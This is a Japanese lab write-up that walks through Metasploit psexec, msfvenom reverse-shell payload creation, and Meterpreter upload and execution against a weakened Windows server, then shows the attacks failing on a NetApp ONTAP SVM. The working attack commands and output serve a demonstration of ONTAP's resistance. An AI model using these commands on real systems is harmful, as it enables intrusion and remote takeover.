はじめに
セキュリティに関するニュース等で、「OSやアプリケーションの脆弱性からリモートで任意のコードが実行される危険性がある」といった内容を見たり聞いたりしたことがあるかと思いますが、普段セキュリティに関する業務に従事していない限り、リモートデスクトップを使ったりSSH接続以外の操作を具体的にイメージすることは難しいと思います。
この記事では、故意に安全性を低下させたWindowsサーバに対しMetasploit FrameworkからPsEcexを使うことでリモートからのコード実行のイメージを掴むと共にONTAPのSVMにログインして直接実行ファイルをUploadしたりは実行できないという点を確認することで、独自OSであることによるONTAPの堅牢性を確認頂ければと思います。
設定は主にCLIを用いて行います。
他者が管理している機器に対し記事の内容を行うことは不正アクセスとなる為、自ら管理・構築した環境でのみ実施して下さい。
何をしたい?できる?
- リモートでコードを実行するという事についてイメージを掴む
- CIFSサービス提供用SVMへMetasploitを使用しリモート接続できない事を確認
- SVM上ではコマンド実行(exeファイルの実行)できない事の確認
Metasploit Framework(MSF)とは
Metasploit Framework(MSF)とはExploitコードの作成や実行を行うためのフレームワークで、Exploitを成立させる各種要素を選択肢から選び組み合わせて実行することができます。
端的に言うと、脆弱性を確認し実行する為のツールであると考えて頂くと良いのではないかと思います。
- どの脆弱性を用いるか
- 攻撃成功時にどのようなペイロードを適用するか
- ペイロードが侵入防止システムに検出されるのを妨害するためにどのようなエンコード技術を用いるか
- ペイロードによってリモートシェルやVNCサーバーなどをどのPort番号で起動するか
Metasploit Framework(MSF)のモジュールについて
Auxiliary
スキャンや脆弱性調査ツール、DoS機能といった補助的なモジュールで、バナー情報取得などの各種調査ツールやDoS 攻撃、ファジングなどのペイロードを必要としないモジュールとなります。
システムへの不正アクセスにつながる一連の攻撃において非常に重要な役割を果たします。
Exploit
システムへの不正アクセスにつながる一連の攻撃において非常に重要な役割を果たしますが、OS毎に分類されているので、Windows用をLinux用に利用はできません。
攻撃者にとって有益なものを返す、または特定のアクションを実行するために、指定されたペイロードと共に使用する必要があります。
show exploitsコマンドで全Exploit Moduleを一覧が表示可能となっており、Exploitによってはターゲットに直接行うアクティブなものと、MSF側が接続を待ち受けるパッシブな攻撃があります。
ペイロード
Exploit成功後に実行するスクリプト(rootkit)で、コマンドシェルを起動するものやVNC でのリモートGUI 操作を可能とするもの、Meterpreter という高機能なシェルを起動するものがあります。
Metasploit から攻撃対象に対し接続を確立するもの(bind_tcp)と攻撃対象からMetasploit 側にリバース接続するもの(reverse_tcp)があり、show payloadsコマンドで全ペイロードModuleを一覧が表示可能となってます。
Meterpreter について
msf内で利用可能なペイロードで、高機能なRootkitです。
メモリ上に展開され、通信は暗号化されます。(メモリ上で実施されるので、Diskやファイルに書く必要性は無い)
通信方向としてBind_shllとreverce_shellが利用可能ですが、大抵の場合FWがあるので、reverse shellを使うとoutbound許可されている通信を利用できる可能性が高くなります。
また、Meterpreter用のコマンドが用意されています。
PsExecとは
本記事では、Port445に向かってバックドアを仕込んだShellコード実行という脆弱性の代用としてPsExecを利用して動作の確認を実施します。
PsExecはWindowsシステムやアプリケーションの管理、トラブルシューティングなどで役立つ無償ツールをまとめた「Windows Sysinternals」に含まれているツールで、いわゆるSSHでリモート操作するように、遠隔のWindows端末へコマンドラインやプログラム実行できるようになります。
リモート・コンピュータ側で以下のPortが空いている必要があります。
- 135/tcp(RPCエンドポイント・マッパー)
- 445/tcp(ダイレクト・ホスティングSMB)
- 1025~65535/tcp(RPC動的ポート)
また、PsExecを使うには、リモート・コンピュータの管理者権限が必要になります。
Windows端末へリモート接続+exeファイルの実行手順
手順例では、まず通常のWindows Serverに対してリモートアクセスを試してみます。
前提としてCIFSアクセスの為の管理アカウントは既に知られている状態とします。
(サービス調査やアカウント取得方法を目的として記事では無い為、事前調査等は割愛してます)
1. Windows端末へのリアルタイム保護停止
Windows端末へリモートアクセスできるように、Windowsセキュリティのリアルタイム保護は無効にしておきます。
2. Windows端末へのPortScan
まずはKali Linuxから対象のWindows ServerでCIFSアクセス(SMBアクセス)がなされているかPortScanで確認します。
PortScanについては、こちらの記事を参考にした頂ければと思います。
PortScanによる確認
リモートデスクトップはTCPの3389番ポートは空いておらず
空いているPortから135と445が空いている事やVersionを含めて確認できるかと思います。
> sudo nmap -sS -sV -nvv -O 172.16.10.142
(中略)
PORT STATE SERVICE REASON VERSION
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 128 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 128 Microsoft Windows Kerberos (server time: 2022-12-06 08:15:02Z)
135/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 128 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: ps-sc.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 128
464/tcp open kpasswd5? syn-ack ttl 128
593/tcp open ncacn_http syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 128
3268/tcp open ldap syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: ps-sc.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 128
5357/tcp open http syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:15:5D:D6:5E:1F (Microsoft)
3. exeファイルの作成
ランサムウエアやマルウエアの代わりとしてWindow端末からKali Linuxの方向でリモート接続を実施するexeファイルを作成します。
> msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.10.148 -f exe -o /home/user01/work/test.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /home/user01/work/test.ex
4. Metasploit Framework(MSF)からPsExecの実行
Kali LinuxからMetasploit Framework(MSF)を起動します。
> msfconsole
実際にはOSやアプリケーションの脆弱性を利用しての接続となりますが
この例ではPsExecを指定して、接続先やアカウント、ペイロードの指定といったOption指定を実施します。
ペイロード以外は接続先のWindows端末のIPやDomainアカウント、ドメインを指定しています。
> use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
exploit(windows/smb/psexec) > set RHOST 172.16.10.142
RHOST => 172.16.10.142
exploit(windows/smb/psexec) > set smbuser XXXXX #User名を指定
smbuser => XXXXX
exploit(windows/smb/psexec) > set smbpass XXXXX #Passwordを指定
smbpass => XXXXX
exploit(windows/smb/psexec) > set SMBDomain ps-sc
SMBDomain => ps-sc
設定内容を実行します。(場合によっては何度か実行)
成功するとプロンプトがmeterpreterと表示されます。
この状態ではWindowsサーバのシステム情報の確認等が可能となってます。
exploit(windows/smb/psexec) > exploit
[*] 172.16.10.142:445 - Connecting to the server...
[*] 172.16.10.142:445 - Authenticating to 172.16.10.142:445|ps-sc as user 'XXX'...
[*] 172.16.10.142:445 - Selecting PowerShell target
[*] 172.16.10.142:445 - Executing the payload...
[+] 172.16.10.142:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 172.16.10.142:4444
[*] Sending stage (175686 bytes) to 172.16.10.142
[*] Meterpreter session 1 opened (172.16.10.148:35093 -> 172.16.10.142:4444) at 2022-12-06 17:21:52 +0900
meterpreter >
meterpreter > sysinfo
Computer : SC-AD-DC
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : ja_JP
Domain : PS-SC
Logged On Users : 8
Meterpreter : x86/windows
4. meterpreter からexeファイルのUpload
kali Linux上で作成したexeファイルをUploadします。
(本来はログ削除やパスワードハッシュの取得も実施するかと思いますが、ここではファイルのUploadと実行のみを実施)
meterpreter > cd ../../temp
meterpreter > pwd
C:\temp
meterpreter > upload /home/user01/work/test.exe
[*] uploading : /home/user01/work/test.exe -> test.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/user01/work/test.exe -> test.exe
[*] uploaded : /home/user01/work/test.exe -> test.exe
meterpreter > ls
Listing: C:\temp
================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 73802 fil 2022-12-06 17:28:56 +0900 test.exe
Windows上でもUploadされているのが確認できます。
(コンソールで確認しています)
5. コマンドプロンプト上でexeファイルの実行
kali Linux側からUploadしたexeファイルを実行します。
実際には、偽造したファイルをクリックさせたり、グループポリシを使用してランサムウェア一斉配信やログオンスクリプトを利用したランサムウェアの自動実行といった形を取るような場合があります。
meterpreter > shell
Process 5924 created.
Channel 3 created.
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\temp>test.exe
test.exe
6. exeファイルの接続先にセッションが張られる事の確認
事前に別に立ち上げておいたmsfconsoleを使って接続確認ができます。
(別の新しいSSH接続でkali linuxに接続し確認)
> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
exploit(multi/handler) > set LHOST 172.16.10.148
LHOST => 172.16.10.148
exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 172.16.10.148:4444
[*] Sending stage (175686 bytes) to 172.16.10.142
[*] Meterpreter session 1 opened (172.16.10.148:4444 -> 172.16.10.142:62751) at 2022-12-06 17:47:52 +0900
#exe実行後に以下のプロンプトが表示されるようになり、遠隔操作が可能になります。
meterpreter >
meterpreter > sysinfo
Computer : SC-AD-DC
OS : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : ja_JP
Domain : PS-SC
Logged On Users : 8
Meterpreter : x86/windows
SVMへリモート接続ができるか確認手順
手順例では、まず通常のSVMに対してリモートアクセスを試してみます。
前提としてCIFSアクセスの為の管理アカウントは既に知られている状態とします。
(サービス調査やアカウント取得方法を目的として記事では無い為、事前調査等は割愛してます)
また、ウイルス対策等の機能もSVM上では利用していない環境となります。
1. SVMのCIFS用LIFへのPortScan
まずはKali Linuxから対象のSVMでCIFSアクセス(SMBアクセス)がなされているかPortScanで確認します。
PortScanによる確認
空いているPortから135と445が空いている事が確認できるかと思います。
>sudo nmap -sS -sV -nvv -O 172.16.10.149
(中略)
PORT STATE SERVICE REASON VERSION
111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000)
135/tcp open msrpc? syn-ack ttl 64
139/tcp open netbios-ssn? syn-ack ttl 64
445/tcp open microsoft-ds? syn-ack ttl 64
2049/tcp open nfs syn-ack ttl 64 3 (RPC #100003)
4045/tcp open nlockmgr syn-ack ttl 64 4 (RPC #100021)
10000/tcp open ndmp syn-ack ttl 64 NetApp Data ONTAP ndmp (NDMPv4; Connection refused)
30000/tcp open tcpwrapped syn-ack ttl 64
2. Metasploit Framework(MSF)からPsExecの実行
Kali LinuxからMetasploit Framework(MSF)を起動します。
> msfconsole
起動後にPsExecを指定して、接続先やアカウント、ペイロードの指定といったOption指定を実施します。ここでは、ペイロード以外は接続先のSVMのIPやDomainアカウント、ドメインを指定しています。
> use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
exploit(windows/smb/psexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
exploit(windows/smb/psexec) > set RHOST 172.16.10.149
RHOST => 172.16.10.142
exploit(windows/smb/psexec) > set smbuser XXXXX #User名を指定
smbuser => XXXXX
exploit(windows/smb/psexec) > set smbpass XXXXX #Passwordを指定
smbpass => XXXXX
exploit(windows/smb/psexec) > set SMBDomain ps-sc
SMBDomain => ps-sc
実行しても成功しない事が確認できます。
msf6 exploit(windows/smb/psexec) > exploit
[*] 172.16.10.149:445 - Connecting to the server...
[*] 172.16.10.149:445 - Authenticating to 172.16.10.149:445|ps-sc as user 'XXX'...
[-] 172.16.10.149:445 - Exploit failed: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_BAD_NETWORK_NAME
[*] Exploit completed, but no session was created
3. SVMのSMB Versionを確認してみる
Samba等を利用しているのであればVersionを確認して脆弱性を突く事が思い付くかと思いますが、独自実装である為、SMB Versionのみの表示である事が確認できます。
> use auxiliary/scanner/smb/smb_version
auxiliary(scanner/smb/smb_version) > set RHISTS 172.16.10.149
[-] Unknown datastore option: RHISTS. Did you mean RHOST?
auxiliary(scanner/smb/smb_version) > set RHOSTS 172.16.10.149
RHOSTS => 172.16.10.149
auxiliary(scanner/smb/smb_version) > exploit
[*] 172.16.10.149:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AES-128-GCM) (signatures:optional) (uptime:27w 0d 3h 33m 26s) (guid:{xxx}) (authentication domain:PS-SC)
[*] 172.16.10.149: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
実際にSambaを使用しているサーバでは以下のような表示になります。
auxiliary(scanner/smb/smb_version) > exploit
[*] xx.xx.xx.xx:445 - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{xxx}) (authentication domain:PS-LINUX)
[*] xx.xx.xx.xx:445 - Host could not be identified: Windows 6.1 (Samba 4.10.16) #この部分が表示される
[*] xx.xx.xx.xx: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
念のために古いSambaの脆弱性を使っても効果が無い事が確認できます。
> use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
exploit(multi/samba/usermap_script) > set RHOST 172.16.10.149
RHOST => 172.16.10.149
exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
exploit(multi/samba/usermap_script) > set LHOST 172.16.10.148
LHOST => 172.16.10.148
exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP double handler on 172.16.10.148:4444
[-] 172.16.10.149:139 - Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
[*] Exploit completed, but no session was created.
4. 直接ファイルの実行が可能か確認してみる
ONTAP上で用意されたコマンドは実行可能ですが、ファイルの実行についてはファイルが見つからないというエラーでは無く、コマンド自体認識していないというエラーが表示されます。
> ssh vsadmin@172.16.10.147 version
(vsadmin@172.16.10.147) Password:
Last login time: 11/29/2022 09:58:33
NetApp Release 9.8P10: Fri Feb 04 19:51:21 UTC 2022
> ssh vsadmin@172.16.10.147 /vol/cifsvol100/test.exe
(vsadmin@172.16.10.147) Password:
Last login time: 12/6/2022 18:00:16
Error: "/vol/cifsvol100/test.exe" is not a recognized command
SSHでログインしてDiagモードに変更しても、ファイルの実行用コマンドも用意されていない事が確認できます。
> ssh vsadmin@172.16.10.147
(vsadmin@172.16.10.147) Password:
cifs100::> set diag
Warning: These diagnostic commands are for use by NetApp personnel only.
Do you want to continue? {y|n}: y
cifs100::*> ?
application> *Display and manage applications
cluster> Manage clusters
exit Quit the CLI session
history Show the history of commands for this CLI session
job> Manage jobs and job schedules
lun> Manage LUNs
man Display the on-line manual pages
network> Manage physical and virtual network connections
redo Execute a previous command
rows Show/Set the rows for this CLI session
security> The security directory
set Display/Set CLI session settings
snaplock> Manages SnapLock attributes in the system
snapmirror> Manage SnapMirror
statistics> Display operational statistics
storage-service> *Manage Storage Services
system> The system directory
top Go to the top-level directory
up Go up one directory
volume> Manage virtual storage, including volumes, snapshots, and mirrors
vserver> Manage Vservers
vvol> *The vvol directory
ONTAPの脆弱性と対策について
ONTAPでも全く脆弱性が無いということでは無く、パッチを充てて最新の状態に保つ事や、ログの取得、Backup(Snapshot)の取得といった内容は重要なセキュリティ対策となります。
但し、独自OSである事でセキュリティ脆弱性が比較的少なく、頻繁なUpdateは不要な点については、大きな利点とい言っても良いかと思います。
ONTAPで見つかっている脆弱性については、サポートサイトにあるNetApp Product SecurityのSecurity Advisoriesや、脆弱性対策情報データベースにあるように、保守通知に不要な情報が入っていたとか、アクセス権変更できる、DoS攻撃の可能性等はありますが、ファイルサーバ上のデータを直接取得するものや特定のアプリケーションが利用されているのでリモートでコード実行というものは無く、対応方法もパッチ適用である事が確認できるかと思います。